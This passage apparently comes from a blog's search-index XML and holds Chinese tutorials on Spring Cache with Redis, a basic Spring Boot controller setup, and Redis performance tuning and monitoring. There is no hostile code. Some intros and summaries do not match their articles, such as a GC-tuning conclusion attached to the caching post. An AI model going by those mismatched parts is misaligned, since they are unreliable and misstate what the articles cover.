class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="八、监控"><a href="#八、监控" class="headerlink" title="八、监控"></a>八、监控</h2><p>#</p><h2 id="8-1-缓存命中率监控"><a href="#8-1-缓存命中率监控" class="headerlink" title="8.1 缓存命中率监控"></a>8.1 缓存命中率监控</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CacheMetrics</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> CacheManager cacheManager;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> MeterRegistry meterRegistry;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostConstruct</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">for</span> (String cacheName : cacheManager.getCacheNames()) &#123;</span><br><span class="line">            <span class="type">Cache</span> <span class="variable">cache</span> <span class="operator">=</span> cacheManager.getCache(cacheName);</span><br><span class="line">            <span class="keyword">if</span> (cache <span class="keyword">instanceof</span> CaffeineCache) &#123;</span><br><span class="line">                com.github.benmanes.caffeine.cache.<span class="type">Cache</span> <span class="variable">nativeCache</span> <span class="operator">=</span> </span><br><span class="line">                    ((CaffeineCache) cache).getNativeCache();</span><br><span class="line">                </span><br><span class="line">                meterRegistry.gauge(<span class="string">&quot;cache.size&quot;</span>, </span><br><span class="line">                    Tags.of(<span class="string">&quot;name&quot;</span>, cacheName), </span><br><span class="line">                    nativeCache, </span><br><span class="line">                    c -&gt; c.estimatedSize());</span><br><span class="line">                </span><br><span class="line">                meterRegistry.gauge(<span class="string">&quot;cache.hit.rate&quot;</span>, </span><br><span class="line">                    Tags.of(<span class="string">&quot;name&quot;</span>, cacheName), </span><br><span class="line">                    nativeCache, </span><br><span class="line">                    c -&gt; c.stats().hitRate());</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="九、总结"><a href="#九、总结" class="headerlink" title="九、总结"></a>九、总结</h2><table><thead><tr><th>特性</th><th>配置方式</th></tr></thead><tbody><tr><td>过期时间</td><td>entryTtl</td></tr><tr><td>序列化</td><td>serializeKeysWith/serializeValuesWith</td></tr><tr><td>Null缓存</td><td>disableCachingNullValues</td></tr><tr><td>Key前缀</td><td>prefixCacheNameWith</td></tr><tr><td>事务</td><td>transactionAware</td></tr></tbody></table><p>Spring Cache + Redis的核心价值：</p><ol><li><strong>声明式缓存</strong>：通过注解简化缓存操作</li><li><strong>统一抽象</strong>：切换缓存实现不影响业务代码</li><li><strong>灵活配置</strong>：支持过期时间、序列化等自定义</li><li><strong>多级缓存</strong>：可结合本地缓存提升性能</li></ol><p>使用建议：</p><ol><li>合理设计缓存key，避免冲突</li><li>设置合适的过期时间</li><li>注意缓存一致性，及时失效</li><li>监控缓存命中率</li><li>复杂场景考虑自定义缓存实现</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>关注 Minor GC 和 Full GC 的频率和耗时</p></li><li><p>年轻代晋升到老年代的对象大小和频率</p></li><li><p>GC 前后的内存使用变化</p></li><li><p>使用 jstat、jmap、jvisualvm 等工具辅助分析</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Spring </tag>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 统一异常处理实践</title>
      <link href="//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/"/>
      <url>//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-统一异常处理实践"><a href="#Spring-Boot-统一异常处理实践" class="headerlink" title="Spring Boot 统一异常处理实践"></a>Spring Boot 统一异常处理实践</h1><p>Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis性能优化与监控</title>
      <link href="//redis-performance-optimization-monitoring/"/>
      <url>//redis-performance-optimization-monitoring/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis性能优化与监控"><a href="#Redis性能优化与监控" class="headerlink" title="Redis性能优化与监控"></a>Redis性能优化与监控</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、性能基准"><a href="#一、性能基准" class="headerlink" title="一、性能基准"></a>一、性能基准</h2><p>#</p><h2 id="1-1-Redis性能指标"><a href="#1-1-Redis性能指标" class="headerlink" title="1.1 Redis性能指标"></a>1.1 Redis性能指标</h2><table><thead><tr><th>指标</th><th>优秀</th><th>良好</th><th>需优化</th></tr></thead><tbody><tr><td>QPS</td><td>&gt; 100000</td><td>50000-100000</td><td>&lt; 50000</td></tr><tr><td>平均延迟</td><td>&lt; 1ms</td><td>1-5ms</td><td>&gt; 5ms</td></tr><tr><td>P99延迟</td><td>&lt; 5ms</td><td>5-20ms</td><td>&gt; 20ms</td></tr><tr><td>内存使用率</td><td>&lt; 70%</td><td>70-85%</td><td>&gt; 85%</td></tr><tr><td>缓存命中率</td><td>&gt; 95%</td><td>90-95%</td><td>&lt; 90%</td></tr></tbody></table><p>#</p><h2 id="1-2-测试性能"><a href="#1-2-测试性能" class="headerlink" title="1.2 测试性能"></a>1.2 测试性能</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># redis-benchmark测试</span></span><br><span class="line">redis-benchmark -h localhost -p 6379 -c 50 -n 100000</span><br><span class="line"></span><br><span class="line"><span class="comment"># 参数说明：</span></span><br><span class="line"><span class="comment"># -c 50: 50个并发连接</span></span><br><span class="line"><span class="comment"># -n 100000: 10万次请求</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 测试特定命令</span></span><br><span class="line">redis-benchmark -t <span class="built_in">set</span>,get -n 100000</span><br><span class="line"></span><br><span class="line"><span class="comment"># 测试大value</span></span><br><span class="line">redis-benchmark -t <span class="built_in">set</span>,get -d 1024 -n 100000</span><br></pre></td></tr></table></figure><h2 id="二、命令优化"><a href="#二、命令优化" class="headerlink" title="二、命令优化"></a>二、命令优化</h2><p>#</p><h2 id="2-1-避免慢查询"><a href="#2-1-避免慢查询" class="headerlink" title="2.1 避免慢查询"></a>2.1 避免慢查询</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看慢查询配置</span></span><br><span class="line">redis-cli CONFIG GET slowlog*</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置慢查询阈值（微秒）</span></span><br><span class="line">redis-cli CONFIG SET slowlog-log-slower-than 10000  <span class="comment"># 10ms</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看慢查询日志</span></span><br><span class="line">redis-cli SLOWLOG GET 10</span><br><span class="line"></span><br><span class="line"><span class="comment"># 清空慢查询日志</span></span><br><span class="line">redis-cli SLOWLOG RESET</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-避免阻塞命令"><a href="#2-2-避免阻塞命令" class="headerlink" title="2.2 避免阻塞命令"></a>2.2 避免阻塞命令</h2><table><thead><tr><th>命令</th><th>问题</th><th>替代方案</th></tr></thead><tbody><tr><td>KEYS</td><td>全表扫描，O(n)</td><td>SCAN</td></tr><tr><td>FLUSHALL/FLUSHDB</td><td>删除所有数据</td><td>FLUSHALL ASYNC</td></tr><tr><td>DEL 大Key</td><td>阻塞</td><td>UNLINK</td></tr><tr><td>HGETALL 大Hash</td><td>返回大量数据</td><td>HSCAN</td></tr><tr><td>SMEMBERS 大Set</td><td>返回大量数据</td><td>SSCAN</td></tr><tr><td>ZRANGE 大ZSet</td><td>范围查询大</td><td>限制范围</td></tr><tr><td>LRANGE 大List</td><td>范围查询大</td><td>限制范围</td></tr></tbody></table><p>#</p><h2 id="2-3-使用高效命令"><a href="#2-3-使用高效命令" class="headerlink" title="2.3 使用高效命令"></a>2.3 使用高效命令</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 不好的做法</span></span><br><span class="line">MSET key1 value1</span><br><span class="line">MSET key2 value2</span><br><span class="line">MSET key3 value3</span><br><span class="line"></span><br><span class="line"><span class="comment"># 好的做法</span></span><br><span class="line">MSET key1 value1 key2 value2 key3 value3</span><br><span class="line"></span><br><span class="line"><span class="comment"># 不好的做法：多次HGET</span></span><br><span class="line">HGET user:1001 name</span><br><span class="line">HGET user:1001 age</span><br><span class="line">HGET user:1001 city</span><br><span class="line"></span><br><span class="line"><span class="comment"># 好的做法：一次HMGET</span></span><br><span class="line">HMGET user:1001 name age city</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-4-Pipeline优化"><a href="#2-4-Pipeline优化" class="headerlink" title="2.4 Pipeline优化"></a>2.4 Pipeline优化</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 批量操作使用Pipeline</span></span><br><span class="line">redis.executePipelined((RedisCallback&lt;Object&gt;) connection -&gt; &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">1000</span>; i++) &#123;</span><br><span class="line">        connection.stringCommands().set(</span><br><span class="line">            (<span class="string">&quot;key&quot;</span> + i).getBytes(), </span><br><span class="line">            (<span class="string">&quot;value&quot;</span> + i).getBytes()</span><br><span class="line">        );</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h2 id="三、内存优化"><a href="#三、内存优化" class="headerlink" title="三、内存优化"></a>三、内存优化</h2><p>#</p><h2 id="3-1-数据编码优化"><a href="#3-1-数据编码优化" class="headerlink" title="3.1 数据编码优化"></a>3.1 数据编码优化</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 控制ziplist编码的使用条件</span><br><span class="line">hash-max-ziplist-entries 512</span><br><span class="line">hash-max-ziplist-value 64</span><br><span class="line"></span><br><span class="line">list-max-ziplist-size -2</span><br><span class="line">set-max-intset-entries 512</span><br><span class="line">zset-max-ziplist-entries 128</span><br><span class="line">zset-max-ziplist-value 64</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-使用Hash存储对象"><a href="#3-2-使用Hash存储对象" class="headerlink" title="3.2 使用Hash存储对象"></a>3.2 使用Hash存储对象</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// String方式（JSON序列化）</span></span><br><span class="line">redis.opsForValue().set(<span class="string">&quot;user:1001&quot;</span>, json);  <span class="comment">// 可能有冗余字段名</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Hash方式（更省空间）</span></span><br><span class="line">Map&lt;String, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="string">&quot;name&quot;</span>, <span class="string">&quot;Alice&quot;</span>);</span><br><span class="line">userMap.put(<span class="string">&quot;age&quot;</span>, <span class="string">&quot;25&quot;</span>);</span><br><span class="line">redis.opsForHash().putAll(<span class="string">&quot;user:1001&quot;</span>, userMap);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-数据压缩"><a href="#3-3-数据压缩" class="headerlink" title="3.3 数据压缩"></a>3.3 数据压缩</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用Snappy压缩value</span></span><br><span class="line"><span class="keyword">public</span> String <span class="title function_">compress</span><span class="params">(String data)</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Base64.getEncoder().encodeToString(Snappy.compress(data.getBytes()));</span><br><span class="line">    &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> String <span class="title function_">decompress</span><span class="params">(String compressed)</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">String</span>(Snappy.uncompress(Base64.getDecoder().decode(compressed)));</span><br><span class="line">    &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-4-合理设置过期时间"><a href="#3-4-合理设置过期时间" class="headerlink" title="3.4 合理设置过期时间"></a>3.4 合理设置过期时间</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 不要所有key设置相同的过期时间</span></span><br><span class="line"><span class="comment">// 添加随机偏移，避免同时过期</span></span><br><span class="line"><span class="type">int</span> <span class="variable">ttl</span> <span class="operator">=</span> <span class="number">3600</span> + ThreadLocalRandom.current().nextInt(<span class="number">300</span>);</span><br><span class="line">redis.opsForValue().set(key, value, ttl, TimeUnit.SECONDS);</span><br></pre></td></tr></table></figure><h2 id="四、连接优化"><a href="#四、连接优化" class="headerlink" title="四、连接优化"></a>四、连接优化</h2><p>#</p><h2 id="4-1-使用连接池"><a href="#4-1-使用连接池" class="headerlink" title="4.1 使用连接池"></a>4.1 使用连接池</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Lettuce连接池配置</span></span><br><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">redis:</span></span><br><span class="line">    <span class="attr">lettuce:</span></span><br><span class="line">      <span class="attr">pool:</span></span><br><span class="line">        <span class="attr">max-active:</span> <span class="number">50</span>        <span class="comment"># 最大连接数</span></span><br><span class="line">        <span class="attr">max-idle:</span> <span class="number">20</span>          <span class="comment"># 最大空闲连接</span></span><br><span class="line">        <span class="attr">min-idle:</span> <span class="number">5</span>           <span class="comment"># 最小空闲连接</span></span><br><span class="line">        <span class="attr">max-wait:</span> <span class="string">3000ms</span>      <span class="comment"># 获取连接最大等待时间</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-避免频繁创建连接"><a href="#4-2-避免频繁创建连接" class="headerlink" title="4.2 避免频繁创建连接"></a>4.2 避免频繁创建连接</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 不好的做法：每次操作创建新连接</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">badPractice</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">Jedis</span> <span class="variable">jedis</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Jedis</span>(<span class="string">&quot;localhost&quot;</span>, <span class="number">6379</span>);  <span class="comment">// 创建连接</span></span><br><span class="line">    jedis.set(<span class="string">&quot;key&quot;</span>, <span class="string">&quot;value&quot;</span>);</span><br><span class="line">    jedis.close();  <span class="comment">// 关闭连接</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 好的做法：使用连接池</span></span><br><span class="line"><span class="meta">@Autowired</span></span><br><span class="line"><span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">goodPractice</span><span class="params">()</span> &#123;</span><br><span class="line">    redis.opsForValue().set(<span class="string">&quot;key&quot;</span>, <span class="string">&quot;value&quot;</span>);  <span class="comment">// 复用连接</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-Cluster模式下的连接优化"><a href="#4-3-Cluster模式下的连接优化" class="headerlink" title="4.3 Cluster模式下的连接优化"></a>4.3 Cluster模式下的连接优化</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 配置集群拓扑刷新</span></span><br><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> LettuceConnectionFactory <span class="title function_">redisConnectionFactory</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">RedisClusterConfiguration</span> <span class="variable">config</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RedisClusterConfiguration</span>();</span><br><span class="line">    <span class="comment">// ... 配置节点</span></span><br><span class="line">    </span><br><span class="line">    <span class="type">ClientOptions</span> <span class="variable">clientOptions</span> <span class="operator">=</span> ClientOptions.builder()</span><br><span class="line">        .timeoutOptions(TimeoutOptions.enabled(Duration.ofSeconds(<span class="number">3</span>)))</span><br><span class="line">        .build();</span><br><span class="line">    </span><br><span class="line">    <span class="type">ClusterTopologyRefreshOptions</span> <span class="variable">topologyRefreshOptions</span> <span class="operator">=</span> </span><br><span class="line">        ClusterTopologyRefreshOptions.builder()</span><br><span class="line">            .enablePeriodicRefresh(Duration.ofSeconds(<span class="number">30</span>))</span><br><span class="line">            .enableAllAdaptiveRefreshTriggers()</span><br><span class="line">            .build();</span><br><span class="line">    </span><br><span class="line">    <span class="type">ClusterClientOptions</span> <span class="variable">clusterClientOptions</span> <span class="operator">=</span> ClusterClientOptions.builder()</span><br><span class="line">        .topologyRefreshOptions(topologyRefreshOptions)</span><br><span class="line">        .build();</span><br><span class="line">    </span><br><span class="line">    <span class="type">LettuceClientConfiguration</span> <span class="variable">clientConfig</span> <span class="operator">=</span> LettuceClientConfiguration.builder()</span><br><span class="line">        .clientOptions(clusterClientOptions)</span><br><span class="line">        .build();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">LettuceConnectionFactory</span>(config, clientConfig);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、持久化优化"><a href="#五、持久化优化" class="headerlink" title="五、持久化优化"></a>五、持久化优化</h2><p>#</p><h2 id="5-1-RDB优化"><a href="#5-1-RDB优化" class="headerlink" title="5.1 RDB优化"></a>5.1 RDB优化</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 减少RDB频率（如果数据可重建）</span><br><span class="line">save 900 1</span><br><span class="line">save 300 10</span><br><span class="line">save 60 10000</span><br><span class="line"></span><br><span class="line"># 使用无磁盘复制</span><br><span class="line">repl-diskless-sync yes</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-AOF优化"><a href="#5-2-AOF优化" class="headerlink" title="5.2 AOF优化"></a>5.2 AOF优化</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 使用everysec（平衡性能和安全）</span><br><span class="line">appendfsync everysec</span><br><span class="line"></span><br><span class="line"># 开启AOF重写</span><br><span class="line">auto-aof-rewrite-percentage 100</span><br><span class="line">auto-aof-rewrite-min-size 64mb</span><br><span class="line"></span><br><span class="line"># 使用混合持久化（Redis 4.0+）</span><br><span class="line">aof-use-rdb-preamble yes</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-避免fork阻塞"><a href="#5-3-避免fork阻塞" class="headerlink" title="5.3 避免fork阻塞"></a>5.3 避免fork阻塞</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 监控fork耗时</span></span><br><span class="line">redis-cli INFO stats | grep latest_fork_usec</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果fork耗时过长：</span></span><br><span class="line"><span class="comment"># 1. 控制Redis内存大小（建议不超过10GB）</span></span><br><span class="line"><span class="comment"># 2. 使用更快的存储（SSD）</span></span><br><span class="line"><span class="comment"># 3. 关闭透明大页</span></span><br><span class="line"><span class="built_in">echo</span> never &gt; /sys/kernel/mm/transparent_hugepage/enabled</span><br></pre></td></tr></table></figure><h2 id="六、系统级优化"><a href="#六、系统级优化" class="headerlink" title="六、系统级优化"></a>六、系统级优化</h2><p>#</p><h2 id="6-1-内核参数优化"><a href="#6-1-内核参数优化" class="headerlink" title="6.1 内核参数优化"></a>6.1 内核参数优化</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /etc/sysctl.conf</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># TCP连接优化</span></span><br><span class="line">net.core.somaxconn = 65535</span><br><span class="line">net.ipv4.tcp_max_syn_backlog = 65535</span><br><span class="line"></span><br><span class="line"><span class="comment"># 内存分配优化</span></span><br><span class="line">vm.overcommit_memory = 1</span><br><span class="line"></span><br><span class="line"><span class="comment"># 禁用透明大页</span></span><br><span class="line"><span class="built_in">echo</span> never &gt; /sys/kernel/mm/transparent_hugepage/enabled</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-网络优化"><a href="#6-2-网络优化" class="headerlink" title="6.2 网络优化"></a>6.2 网络优化</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 网卡中断亲和性</span></span><br><span class="line"><span class="comment"># 将Redis进程绑定到特定CPU核心</span></span><br><span class="line">taskset -c 0 redis-server /etc/redis/redis.conf</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-文件描述符"><a href="#6-3-文件描述符" class="headerlink" title="6.3 文件描述符"></a>6.3 文件描述符</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看当前限制</span></span><br><span class="line"><span class="built_in">ulimit</span> -n</span><br><span class="line"></span><br><span class="line"><span class="comment"># 修改限制</span></span><br><span class="line"><span class="comment"># /etc/security/limits.conf</span></span><br><span class="line">redis soft nofile 65535</span><br><span class="line">redis hard nofile 65535</span><br></pre></td></tr></table></figure><h2 id="七、监控方案"><a href="#七、监控方案" class="headerlink" title="七、监控方案"></a>七、监控方案</h2><p>#</p><h2 id="7-1-Redis-INFO监控"><a href="#7-1-Redis-INFO监控" class="headerlink" title="7.1 Redis INFO监控"></a>7.1 Redis INFO监控</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 关键监控指标</span></span><br><span class="line">redis-cli INFO stats</span><br><span class="line"></span><br><span class="line"><span class="comment"># 重点指标：</span></span><br><span class="line"><span class="comment"># total_connections_received: 总连接数</span></span><br><span class="line"><span class="comment"># total_commands_processed: 总命令数</span></span><br><span class="line"><span class="comment"># instantaneous_ops_per_sec: 每秒操作数</span></span><br><span class="line"><span class="comment"># rejected_connections: 拒绝的连接数</span></span><br><span class="line"><span class="comment"># expired_keys: 过期的key数</span></span><br><span class="line"><span class="comment"># evicted_keys: 被淘汰的key数</span></span><br><span class="line"><span class="comment"># keyspace_hits: 命中次数</span></span><br><span class="line"><span class="comment"># keyspace_misses: 未命中次数</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-Prometheus-Grafana"><a href="#7-2-Prometheus-Grafana" class="headerlink" title="7.2 Prometheus + Grafana"></a>7.2 Prometheus + Grafana</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># docker-compose.yml</span></span><br><span class="line"><span class="attr">version:</span> <span class="string">&#x27;3&#x27;</span></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">redis-exporter:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">oliver006/redis_exporter:latest</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">REDIS_ADDR=redis://redis:6379</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;9121:9121&quot;</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">prometheus:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">prom/prometheus:latest</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./prometheus.yml:/etc/prometheus/prometheus.yml</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;9090:9090&quot;</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">grafana:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">grafana/grafana:latest</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;3000:3000&quot;</span></span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># prometheus.yml</span></span><br><span class="line"><span class="attr">scrape_configs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">job_name:</span> <span class="string">&#x27;redis&#x27;</span></span><br><span class="line">    <span class="attr">static_configs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">targets:</span> [<span class="string">&#x27;redis-exporter:9121&#x27;</span>]</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-3-关键告警规则"><a href="#7-3-关键告警规则" class="headerlink" title="7.3 关键告警规则"></a>7.3 关键告警规则</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># redis_alerts.yml</span></span><br><span class="line"><span class="attr">groups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">redis</span></span><br><span class="line">    <span class="attr">rules:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">alert:</span> <span class="string">RedisDown</span></span><br><span class="line">        <span class="attr">expr:</span> <span class="string">redis_up</span> <span class="string">==</span> <span class="number">0</span></span><br><span class="line">        <span class="attr">for:</span> <span class="string">1m</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">severity:</span> <span class="string">critical</span></span><br><span class="line">        <span class="attr">annotations:</span></span><br><span class="line">          <span class="attr">summary:</span> <span class="string">&quot;Redis实例宕机&quot;</span></span><br><span class="line">          </span><br><span class="line">      <span class="bullet">-</span> <span class="attr">alert:</span> <span class="string">RedisHighMemoryUsage</span></span><br><span class="line">        <span class="attr">expr:</span> <span class="string">redis_memory_used_bytes</span> <span class="string">/</span> <span class="string">redis_memory_max_bytes</span> <span class="string">&gt;</span> <span class="number">0.85</span></span><br><span class="line">        <span class="attr">for:</span> <span class="string">5m</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">severity:</span> <span class="string">warning</span></span><br><span class="line">        <span class="attr">annotations:</span></span><br><span class="line">          <span class="attr">summary:</span> <span class="string">&quot;Redis内存使用率超过85%&quot;</span></span><br><span class="line">          </span><br><span class="line">      <span class="bullet">-</span> <span class="attr">alert:</span> <span class="string">RedisHighConnections</span></span><br><span class="line">        <span class="attr">expr:</span> <span class="string">redis_connected_clients</span> <span class="string">/</span> <span class="string">redis_config_maxclients</span> <span 